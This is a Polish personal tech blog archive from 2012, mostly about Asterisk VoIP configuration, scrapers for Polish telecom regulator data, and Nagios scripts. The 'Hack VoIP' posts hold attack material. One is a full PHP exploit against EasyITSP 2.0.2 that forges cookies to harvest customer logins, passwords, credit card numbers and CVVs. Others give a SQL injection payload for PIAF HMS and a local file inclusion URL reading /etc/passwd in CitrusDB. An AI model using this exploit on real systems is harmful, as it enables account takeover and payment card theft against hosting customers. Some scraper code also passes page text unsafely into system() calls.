środa, 28 listopada 2012

Rejestr przedsiębiorców telekomunikacyjnych z UKE [parser]


Parser, który pozwala na pobranie listy przedsiębiorców telekomunikacyjnych z bazy UKE, korzystając z wyszukiwarki http://www.uke.gov.pl/marta/searcherRptForm.vm.


<?php
// Michał Błaszczak
// blaszczakm.blogspot.com

function uke($id)
{
$data =
file_get_contents("http://www.uke.gov.pl/marta/resultRptDetails.vm?form=1&id=$id");
$dom = new domDocument;
@$html = @$dom->loadHTML($data);
$dom->preserveWhiteSpace = false;
$tables = $dom->getElementsByTagName('table');
$rows = $tables->item(0)->getElementsByTagName('tr');
$dane='';
  foreach ($rows as $row)
  {
      $cols = $row->getElementsByTagName('td');

        $intro = $cols->item(0)->nodeValue;

        $t = explode("\n",$intro);
        $dane .= trim($t[1]);
        $dane .=';';
    }
system("echo '$dane' >> uke.csv");
}


for($i=1;$i<1000;$i++) // pierwszy 1000
{
        uke($i);
}



?>


Na sam koniec dla ładnego wyniku

iconv --from-code=UTF-8 --to-code=ISO-8859-2 --output uke1.csv uke.csv

W pliku uke1.csv dostaniemy pierwszy tysiąc operatorów telekomunikacyjnych.

Jeśli, ktoś jest nie techniczny, a bardzo potrzebuje listę operatorów telekomunikacyjnych to niech nie piszę na mail tylko zostawi namiar do siebie w komentarzu pod postem, a ja się odezwę. 

niedziela, 28 października 2012

Hack VoIP #3 - PIAF H.M.S - SQL Injection

Kolejny system VoIP wzięty pod lupę i po 5 minutach kilka znalezionych błędów. Poniżej publikuję tylko jeden SQL Injection. Resztę znajdziecie sami :)


System ten można spotkać głównie w hotelach.

PIAF H.M.S
Hospitality Management System
Źródła: http://code.google.com/p/piafhms/


file: bills.php
line: 86-87


        $query = $query . " ORDER BY ID DESC";
        printf($query); 


query:
SELECT * FROM `Users` WHERE `Room` = 'anything' OR 'x'='x' ORDER BY ID DESC

piątek, 26 października 2012

Hack VoIP #2 - Exploit - EasyITSP by Lemens Telephone Systems 2.0.2

From EasyITSP website:
"The easiest ITSP and Hosted PBX software available. PERIOD! Lemens-TS has thousands of man hours in developing a solution with the smallest footprint possible. The goal was to keep things as simple as we could. Victory is ours."

:)

Exploit code:

<?php
error_reporting(0);
$arguments = getopt("a:b:c:");
$url = $arguments['a'];
$id_pod =$arguments['b'];
$id_end =$arguments['c'];
if(count($arguments)!=3)
{
echo '## Exploit - EasyITSP by Lemens Telephone Systems 2.0.2   '."\n";
echo '## Discovery users with passwords       '."\n";
echo '##         '."\n";
echo '## Author: Michal Blaszczak       '."\n";
echo '## Website: blaszczakm.blogspot.com            '."\n";
echo '## Date: 10.10.2012       '."\n";
echo '##         '."\n";
echo '## Greatz: cond, packet, jestemka1pi, sid, chez            '."\n";
echo '##         #pakamera@freenode     '."\n";
echo '##         (old) #2600@ircnet     '."\n";
echo '##         (old) #mamo_mamo_jestem_chakerem@ircnet '."\n";
echo '##         '."\n";
echo '## Usage:         '."\n";
echo '## php exploit.php -a URL -b ID_START -c ID_STOP      '."\n";
echo '##         '."\n";
echo '## Example:        '."\n";
echo '## php exploit.php -a http://lemens-ts.com/easyitsp/customer/ -b 5 -c 10'."\n";

exit;
}
$url2='customers_edit.php?currentpage=customers';
$url.=$url2;
for ($id_pod; $id_pod <= $id_end; $id_pod++) {
$cookie = 'cust_verify=' . urlencode('#pakamera') . '; cust_id=' . urlencode($id_pod);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_POST, 1);//przesylamy metodą post
curl_setopt($ch, CURLOPT_POSTFIELDS, "customersid=$id_pod"); //dane do wyslania
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$intro = curl_exec($ch);
curl_close($ch);

$regex_login = '#\<td title="Customer username for portal"\>(.+?)\<\/td\>#s';
preg_match($regex_login, $intro, $login);

$regex_pass = '#\<td title="Customer password for portal"><input type="password" name="password" required="1" maxlength="45" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_pass, $intro, $pass);

$regex_ccnum = '#\<td title="Customer cc number"><input type="text" name="ccnumber" maxlength="20" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_ccnum, $intro, $ccnum);

$regex_ccexpire = '#\<td title="Customer cc expire"><input type="text" name="ccexpire" maxlength="8" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_ccexpire, $intro, $ccexpire);

$regex_cccvv = '#\<td title="Customer credit card CVV"><input type="text" name="cccvv" maxlength="6" value="(.+?)"\>\<\/td\>#s';
preg_match($regex_cccvv, $intro, $cccvv);


 $test = explode(" ",$login[1]);


 if(trim($test[0])!='</td>')
 {
 echo 'ID:'.$id_pod."\n";
 echo 'LOGIN:'.$login[1]."\n";
 echo 'Password:'.$pass[1]."\n";
 echo 'CCnumber:'.$ccnum[1]."\n";
 echo 'CCexpire:'.$ccexpire[1]."\n";
 echo 'CCCVV:'.$cccvv[1]."\n\n";
 }
}

?>


Source: http://pastebin.com/SmQVfBBD


czwartek, 25 października 2012

Powiadomienia w Nagios dla managera

Poniżej skrypt w PHP, pozwalający wysyłać powiadomienia dla menagerów z usług i hostów monitorowanych w Nagios, które nie zostały naprawione w zadanym czasie przez techników odpowiedzialnych za dane urządzenia.
3 pliczki  PHP, 4 wpisy do cron'a. Ciach bach i gotowe :)

Greetz dla Łukasza K. za pomysł ;)

Skrypty check_nagios_host.php i check_nagios_services.php mają za zadanie parsować  plik Nagiosa /usr/local/nagios/var/status.dat pod  kątem czasu ostatniego poprawnego działania hosta lub usługi.
last_time_up - dla hosta
last_time_ok - dla usługi

Jeśli host nie działa dłużej niż 40000 (timestamp) to skrypt, kieruję sprawę do zbiorczego maila i wysyła do managera.

Skrypt został zatwierdzony i dodany do katalogu Nagios Exchange
http://exchange.nagios.org/directory/Plugins/Notifications/notifications-for-manager/details

Link do źródeł http://sourceforge.net/projects/nagiosnotifi/

Poniżej źródła skryptów.

wtorek, 16 października 2012

Multi level IVR

Wielopoziomowe menu IVR w Asterisk




[macro-dzwon]
exten => s,1,Ringing
exten => s,n,Background(gsm/prompt 9.1)
exten => s,n,Set(DIRNAME=${STRFTIME(${EPOCH},,%Y%m/%d)}/${CALLERID(NUM)})
exten => s,n,Set(FILENAME=${DIRNAME}/${STRFTIME(${EPOCH},,%H%M%S)}-${EXTEN:2})
exten => s,n,System(/bin/mkdir -p /var/www/monitor/${DIRNAME})
exten => s,n,NoOp(${FILENAME})
exten => s,n,MixMonitor(/var/www/monitor/${FILENAME}.wav,b)
exten => s,n,Set(_doVoicemail=no)
exten => s,n,Queue(CallCenter,n) ;twh
exten => s,n,Hangup



[IVR]
exten => 48XXxxXXxxX,1,Answer
exten => 48XXxxXXxxX,2,Background(gsm/prompt 1.1)
exten => 48XXxxXXxxX,3,Background(gsm/prompt 1.2)
exten => 48XXxxXXxxX,4,Background(gsm/prompt 1.3)
exten => 48XXxxXXxxX,5,Set(TIMEOUT(digit)=20)
exten => 48XXxxXXxxX,6,Set(TIMEOUT(response)=25)
exten => 48XXxxXXxxX,7,WaitExten(5)

;1
exten => 1,1,Answer
exten => 1,n,GoTo(prompt2,200,1)

;2
exten => 2,1,Answer
exten => 2,n,GoTo(prompt3,300,1)

;3
exten => 3,1,Answer
exten => 3,n,GoTo(prompt4,400,1)

;4
exten => 4,1,Answer
exten => 4,n,GoTo(prompt5,500,1)

;5
exten => 5,1,Answer
exten => 5,n,GoTo(prompt6,600,1)

;6
exten => 6,1,Answer
exten => 6,n,GoTo(prompt7,700,1)

;7
exten => 7,1,Answer
exten => 7,n,GoTo(prompt8,800,1)


;Timeout
exten => t,1,Playback(1-4)
exten => t,2,Goto(IVR,48XXxxXXxxX,4)
exten => i,1,Goto(IVR,48XXxxXXxxX,2)

niedziela, 7 października 2012

Sprawdzanie aktywności na GoldenLine.pl

Ostatnio znajomy przestał odpisywać na moje wiadomości. Chciałem sprawdzić czy po prostu nie chce na nie odpisać czy nie korzysta z GoldenLine.pl i nie wie o wiadomościach, które do niego wysłałem.
Napisałem prosty skrypt w PHP, który pozwala sprawdzić aktywność danej osoby po publikowanym statusie offline/online.

Poniżej źródło skryptu PHP:

środa, 3 października 2012

Asterisk - dzwonienie z konsoli


Żeby zadzwonić prosto z CLI asterisk'a

originate SIP/793333333@trunk extension default@

gdzie:

793333333 - numer, na który dzwonimy
trunk - nazwa trunka jeśli dzwonimy na zewnątrz
default - context

Asterisk CallerID - kilka numerów na jednym trunku



Zawartość /etc/asterisk/extensions.conf

exten => _X.,1,GotoIf($["${CALLERID(num)}" = "101"]?dial101)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "102"]?dial102)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "103"]?dial103)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "104"]?dial104)
exten => _X.,n,GotoIf($["${CALLERID(num)}" = "105"]?dial105)
exten => _X.,n(dial101),Set(CALLERID(all)=48xXxXx50)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial102),Set(CALLERID(all)=48xXxXx51)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial103),Set(CALLERID(all)=48xXxXx53)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial103),Set(CALLERID(all)=48xXxXx52)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()
exten => _X.,n(dial105),Set(CALLERID(all)=48xXxXx54)
exten => _X.,n,Dial(SIP/trunk/${EXTEN},,r)
exten => _X.,n,Hangup()

wtorek, 25 września 2012

Parser mapa UKE + crawler


Poniżej zamieszczam kod źródłowy aplikacji, którą napisałem do parsowania danych z mapy UKE mapa.uke.gov.pl.





Struktura bazy MySQL

  mysql> explain mapa;
+----------------+--------------+------+-----+---------+-------+
| Field          | Type         | Null | Key | Default | Extra |
+----------------+--------------+------+-----+---------+-------+
| id             | int(20)      | NO   | PRI | NULL    |       |
| miejsce        | varchar(255) | NO   |     | NULL    |       |
| ogolem         | int(20)      | NO   |     | NULL    |       |
| indywidualni   | int(20)      | NO   |     | NULL    |       |
| biznesowi      | int(20)      | NO   |     | NULL    |       |
| t_ogolem       | int(20)      | NO   |     | NULL    |       |
| t_indywidualni | int(20)      | NO   |     | NULL    |       |
| t_biznesowi    | int(20)      | NO   |     | NULL    |       |
| op_int         | int(20)      | NO   |     | NULL    |       |
| op_tel         | int(20)      | NO   |     | NULL    |       |
+----------------+--------------+------+-----+---------+-------+
10 rows in set (0.00 sec)


Plik func.php

  <?php

function polacz()
{
$dbname='uke';
$dbhost='localhost';
$dbuser='root';
$dbpass='pass';

        $link = mysql_connect($dbhost,$dbuser,$dbpass);
        mysql_select_db($dbname);
        return $link;
}

function tabulka($tabelka)
{
$dom = new DOMDocument();
//load the html
$html = $dom->loadHTMLFile($tabelka);

  //discard white space
$dom->preserveWhiteSpace = false;

  //the table by its tag name
$tables = $dom->getElementsByTagName('table');


    //get all rows from the table
$rows = $tables->item(0)->getElementsByTagName('tr');
  // get each column by tag name
$cols = $rows->item(0)->getElementsByTagName('th');
$row_headers = NULL;
foreach ($cols as $node) {
    //print $node->nodeValue."\n";
    $row_headers[] = $node->nodeValue;
}

$table = array();
  //get all rows from the table
$rows = $tables->item(0)->getElementsByTagName('tr');
foreach ($rows as $row)
{
   // get each column by tag name
    $cols = $row->getElementsByTagName('td');
    $row = array();
    $i=0;
    foreach ($cols as $node) {
        # code...
        //print $node->nodeValue."\n";
        if($row_headers==NULL)
            $row[] = $node->nodeValue;
        else
            $row[$row_headers[$i]] = $node->nodeValue;
        $i++;
    }
    $table[] = $row;
}
return $table;
//var_dump($table);
}



function spider($id){
//echo $id."\n";
$id_miejsca = explode("=",$id);
//echo $id_miejsca[1]."\n";
$intro = file_get_contents("$id");

$regex = '#\<div id="firstText"\>(.+?)\<div id="secondText">#s';  
preg_match($regex, $intro, $matches); // LICZBA ABONENTOW OGOLEM
$match = $matches[0];


$regex_io = '#\<td class="titleCell"  valign="top"\>(.+?)\<\/td\>#s';
preg_match($regex_io, $match, $matches_io);
$match_io = $matches_io[0];
$op_int = preg_replace('/[^0-9]/','', $match_io);
echo 'operatorzy'.$op_int;   // WYNIK - OPERATORZY INTERNET

echo "\n\n";

//echo $match;
$regex_f = '#\<td  class="cell" colspan="3"\>(.+?)\<\/table\>#s';  // LICZBA ABONENTOW OGOLEM
preg_match($regex_f, $match, $matches_f); // LICZBA ABONENTOW OGOLEM
$match_f = $matches_f[0];
//echo $match_f;   // WYNIK - PIERWSZA TABELA INTERNET

$regex_s = '#\<div id="secondText"\>(.+?)\<\/body\>#s';  
preg_match($regex_s, $intro, $matches_s); // LICZBA ABONENTOW OGOLEM
$match_s = $matches_s[0];
//echo 'DRUGI_DIV:'.$match_s;


$regex_io2 = '#\<td class="titleCell"  valign="top"\>(.+?)\<\/td\>#s';
preg_match($regex_io2, $match_s, $matches_io2);
$match_io2 = $matches_io2[0];
$op_int2 = preg_replace('/[^0-9]/','', $match_io2); // WYNIK - OPERATORZY TELEFONU


$regex_ts = '#\<td  class="cell" colspan="3"\>(.+?)\<\/table\>#s'; 
preg_match($regex_ts, $match_s, $matches_ts); // LICZBA ABONENTOW OGOLEM
$match_ts = $matches_ts[0]; // WYBIK DRUGA TABELA TELEFON


$tab = '<table><tr>'.$match_f;
$tab2 = '<table><tr>'.$match_ts;

$file = "/tmp/html.$id_miejsca[1]";
$file = trim($file);
system("echo '$tab' > $file");


$file2 = "/tmp/tel.$id_miejsca[1]";
$file2 = trim($file2);
system("echo '$tab2' > $file2");


$res = tabulka($file);
$res2 = tabulka($file2);
/
$ogol = $res[0][2];
$ind = $res[1][2];
$biz = $res[2][2];

$t_ogol = $res2[0][2];
$t_ind = $res2[1][2];
$t_biz = $res2[2][2];



$regex = '#\<div\>(.+?)\<\/div\>#s';//  ZWRACA GMINE/POWIAT
preg_match($regex, $intro, $matches); //  ZWRACA GMINE/POWIAT
$match = $matches[0];

$miejsce = explode("-",$match);
$miejscowosc =ltrim($miejsce[1]);
$miejscowosc = iconv("ISO-8859-2","UTF-8",$miejscowosc);
polacz();
$insert = "INSERT INTO mapa (id,miejsce,ogolem,indywidualni,biznesowi,t_ogolem,t_indywidualni,t_biznesowi,op_int,op_tel) values ('$id_miejsca[1]','$miejscowosc','$ogol','$ind','$biz','$t_ogol','$t_ind','$t_biz','$op_int','$op_int2')";
mysql_query($insert);
echo $insert."\n";
}


?>

Sitemap generator [CRAWLER]

Zbieranie linków ze strony WWW:
wget --spider --recursive --no-verbose --output-file=wgetlog.txt http://example.com sed -n "s@.\+ URL:\([^ ]\+\) .\+@\1@p" wgetlog.txt | sed "s@&@\&@" > sedlog.txt

Mirrorowanie strony:
wget --mirror --limit-rate=250k --wait=1 -erobots=off --no-parent --page-requisites --convert-links --no-host-directories --cut-dirs=2 --directory-prefix=DIR http://www.example.com/index.php

środa, 29 sierpnia 2012

Kolejki

Prosta kolejka w Asterisk

queues.conf

[CallCenter]
music=default
strategy=rrmemory
joinempty = yes
timeout=15
retry=1
wrapuptime=0
maxlen = 1
announce-frequency = 10
announce-holdtime = no
member => SIP/123,0
member => SIP/124,0



extensions.conf

exten => 13,1,Queue(CallCenter)


asterisk*CLI>

asterisk*CLI> queue show CallCenter
CallCenter has 0 calls (max 1) in 'rrmemory' strategy (5s holdtime, 18s talktime), W:0, C:2, A:0, SL:0.0% within 0s
   Members:
      SIP/124 (Not in use) has taken 1 calls (last was 281 secs ago)
      SIP/123 (Not in use) has taken 1 calls (last was 279 secs ago)
   No Callers

Jeśli chcesz aby tylko jeden SIP odbierał jedną rozmowę to koniecznie w sip.conf daj mu call-limit=1, wtedy  asterisk pokaże in use. 




piątek, 17 sierpnia 2012

Rozpoznawanie mowy przez Asterisk [Speech recognition]

Skonfigurowanie Asteriska tak aby zamieniał test na mowę mamy za sobą. Dzisiaj chciałbym zaprezentować kolejny skrypt AGI autora Lefteris Zafiris, który to pozwala zamieniać mowę na słowo pisane.

Potrzebne paczki:
Perl
perl-libwww

Instalacja samego AGI podobnie jak we wcześniejszym poście bardzo prosta i polega na skopiowaniu pliku 
speech-recog.agi do katalogu ze skryptami AGI w asterisku ( u mnie /usr/share/asterisk/agi-bin/ ). 

a w /etc/asterisk/extensions.conf przykładowo dla języka polskiego:

exten => 0,1,Answer()
exten => 0,n,agi(speech-recog.agi,pl-PL)
exten => 0,n,Verbose(1,The text you just said is: ${utterance})
exten => 0,n,Verbose(1,The probability to be right is: ${confidence})
exten => 0,n,Hangup()

wtorek, 14 sierpnia 2012

Asterisk syntezator mowy [Text to speech]

Chcesz aby Twój asterisk w końcu przemówił?
Wystarczy zastosować skrypt AGI, który przerobi nasz tekst na mowę dzięki usłudze Google Translate.

Co będzie potrzebne?
AGI stworzone przez Lefteris Zafiris, które można pobrać z tąd

Oraz trochę niezbędnego softu:
- perl
- perl-libwww
- sox
- mpg123


Cała instalacja jest naprawdę trywialna. Należy skopiować googletts.agi do katalogu ze skryptami AGI w asterisku ( u mnie /usr/share/asterisk/agi-bin/ ).

Została tylko edycja extensions.conf

exten => 4832XXXXXXX,1,Answer()
exten => 4832XXXXXXX,2,agi(googletts.agi,"Asterisk juz mowi.",pl)


Projekt asterisk-googletts: zaf.github.com/asterisk-googletts

poniedziałek, 13 sierpnia 2012

Instalacja dahdi - Debian


Przyszedł czas na MeetMe w Asterisku stojącym na Debianie, więc krótka notka dla tych, którzy mieli przyjemność spotkać się z:

app_meetme.c:1097 build_conf: Unable to open pseudo device


apt-get install dkms

wget http://downloads.digium.com/pub/telephony/dahdi-linux-complete/dahdi-linux-complete-current.tar.gz

tar zxvf dahdi-linux-complete-current.tar.gz 

make all
make install
make config
modprobe dahdi_dummy


to powinno załatwić wszystkie problemy ;)

-- Executing [4832XXXXXXX@incoming:1] MeetMe("SIP/black-00000036", "1234") in new stack

wtorek, 7 sierpnia 2012

Połączenie przychodzące do wielu kont SIP - Asterisk


W razie potrzeby skierowania połączenia przychodzącego do kilku  innych numerów (w tym przypadku 3 wewnętrznych kont SIP) można zastosować poniższe rozwiązanie

/etc/asterisk/extensions.conf


[global]
SIP_GROUP=SIP/100&SIP/101&SIP/102

[context]
exten => 1,n,Ringing
exten => 1,n,Wait(2)
exten => 1,n,Dial(${SIP_GROUP},60,r)


poniedziałek, 11 czerwca 2012

Logowanie na SSH przez PHP


Install: libssh2-1-dev libssh2-php
Source:


<?php
if (!function_exists("ssh2_connect")) die("funkcja ssh2_connect nie istnieje ");
// logowanie
if(!($con = ssh2_connect("192.168.15.214", 22))){
    echo "fail: NIE MOGE USTANOWIC POLACZENIA\n";
} else {
    // autentykacja
    if(!ssh2_auth_password($con, "root", "XxXx3")) {
        echo "fail: NIE MOGE POPRAWNIE ZALOGOWAC\n";
    } else {
        // jest OK
        echo "okay: ZALOGOWANO\n";

        // WYKONANIE KOMENDY
        if (!($stream = ssh2_exec($con, "ps -aux"))) {
            echo "fail: NIE MOGE WYKONAC POLECENIA\n";
        } else {
            stream_set_blocking($stream, true);
            $data = "";
//         $uf = fread($stream,4096);
//          echo $uf;
            while ($buf = fread($stream,4096)) {
                $data .= $buf;
echo $data;
            }
            fclose($stream);
        }
    }
}
?>


sobota, 7 kwietnia 2012

VoIP Hack #1 - CitrusDB 2.4.1 - LFI/SQLi Vulnerability

CitrusDB is an open source customer service and billing database. It can be used by customer service personnel to provide sales and support to customers, and by billing staff to bill customers for their services via invoices and credit card batches. Customers may access the Online customer account manager to view their services, billing history, and make service and support requests online.

  1) LFI

http://192.168.51.8/lab/citrus-2.4.1/index.php?load=../../../../../etc/passwdtype=base

index.php:315

$filepath = "$path_to_citrus/$load.php";
if (file_exists($filepath)) {
include('./'.$load.'.php');


2) SQL INJECTION

include/user.class.php:134

$sql="SELECT password FROM user WHERE username='$user_name' LIMIT 1";


czwartek, 5 kwietnia 2012

Zabezpieczamy Asteriska - fail2ban

W czasach wzmożonych ataków na platformy Asterisk polegających na  próbie poprawnego zalogowania się na jakieś z dostępnych kont SIP warto zablokować taką możliwość. Ponieważ ataki bruteforce/wordlist nie są zazwyczaj groźne - no chyba że nie mamy zabezpieczeń antyfraud'owych - ale potrafią zapchać asteriska/małe łącze  dużą liczbą prób logowań.

Jak poznać czy, ktoś próbuje włamać się na konto SIP'owe?

środa, 4 kwietnia 2012

Monitorowanie Asterisk przez Nagios

W celu monitorowania dostępności naszej centrali telefonicznej Asterisk możemy wykorzystać oprogramowanie Nagios oraz sipsak.

Sciagamy plugin do nagiosa check_asterisk i wrzucamy go do /usr/local/nagios/libexec


Po instalacji sipsak
./configure && make && make install

Definiujemy w commands.cfg nową komendę


define command{
command_name check_asterisk
command_line $USER1$/check_asterisk -U $ARG1$ -P $ARG2$ -w 500 -c 1000
}



Nastepnie w pliku z hostami dodajemy 

define service {

        use generic-service

        host_name Asterisk

        service_description SIP

        check_command  check_asterisk!sip:NAZWA_SIP@IP_NASZEGO_ASTERISKA

        normal_check_interval 1
        retry_check_interval 2

}

Na koniec przeładujemy Nagiosa i powinno wszystko grać ;) 







poniedziałek, 2 kwietnia 2012

Asterisk - automatyczne nawiazywanie polaczen

Do pliku /etc/asterisk/modules.conf dodajemy


load => pbx_spool.so

W bashu klepiemy bardzo prosty skrypt 

#!/bin/bash
sounds=/var/lib/asterisk/sounds/
rOut=/var/spool/asterisk/outgoing/
rUser=root
rGroup=root
nFile=call.csv
rtry=1
mtry=2
stime=1
#############################################
for nums in $(cat $nFile)
        do
                num=`echo $nums | awk -F"," {'print $1'}`
                noise=`echo $nums | awk -F"," {'print $2'}`
                                nTrunk=`echo $nums | awk -F"," {'print $3'}`
echo "`date`,$num,$noise" >> call-log.csv
echo "Channel: SIP/$nTrunk/$num" >> $num.call
echo "RetryTime:$rtry" >> $num.call
echo "MaxRetries:$mtry" >> $num.call
echo "Archive: Yes" >> $num.call
echo "Application: Playback" >> $num.call
echo "Data:$noise" >> $num.call
chown $rUser.$rGroup $num.call
mv $num.call $rOut
sleep $stime
done


Do tego tworzymy plik call.csv 
numer1,nagranie,trunk 
numer2,nagranie,trunk 
numer3,nagranie,trunk 
...


I to wszystko ;) 

Odpalamy skrypt, a asterisk sam dzwoni na numery z pliku call.csv i puszcza odpowiedni komunikat glosowy (nagranie - call.csv). 

Dzieki Archive:Yes  pliki call zostaja zarchiwizowane w katalogu /var/spool/asterisk/outgoing_done/



sobota, 31 marca 2012

Wycieczka do Open-E

Pierwszy blog, pierwszy post - zdecydowanie po długiej przerwie w publikacjach :)

Sobota, 10:30 Bytom wycieczka do Open-E w celu wzięcia udziału w badaniach trialowej wersji flagowego produktu firmy.

Miło spędzone chwile w sobotni poranek ;)





OK, reszta postów będzie techniczna musiałem po prostu od czegoś zacząć.